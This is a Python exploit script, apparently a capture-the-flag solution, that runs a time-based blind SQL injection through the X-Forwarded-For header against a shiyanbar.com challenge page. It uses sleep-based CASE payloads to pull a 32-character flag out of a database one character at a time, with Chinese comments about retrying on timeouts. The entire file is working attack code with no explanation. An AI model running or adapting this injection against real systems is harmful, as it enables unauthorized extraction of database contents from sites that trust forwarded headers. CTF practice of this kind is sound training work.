#!/usr/bin/env python3

import urllib.request
import time

def get_request_time(payload):
    req = urllib.request.Request('http://ctf5.shiyanbar.com/web/wonderkun/index.php')
    req.add_header('User-Agent', 'Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0')
    req.add_header('X-Forwarded-For', payload)
    t0 = time.time()
    urllib.request.urlopen(req)
    t1 = time.time()
    return t1 - t0

#bundle = '0123456789abcdef';
bundle = '0123456789abcdef';
bundle_index = 0
flag = 'cdbf14c9551d5be5612f7bb5d2867853'

# 开始盲注
for flag_index in range(len(flag), 32):
    while True:
        payload = "127.0.0.1' and case when (select mid(flag from {} for 1) from flag) = '{}' \
then sleep(3) end and '1'='1".format(flag_index + 1, bundle[bundle_index])
        print(payload)
        t = get_request_time(payload)
        if  t > 5:
            print('响应超时，10s后重新盲注...')
            time.sleep(10)
            continue
        elif t > 3:
            flag += bundle[bundle_index]
            print('flag: ' + flag)
            bundle_index = 0
            time.sleep(5)
            break
        else:
            bundle_index += 1
            time.sleep(5)
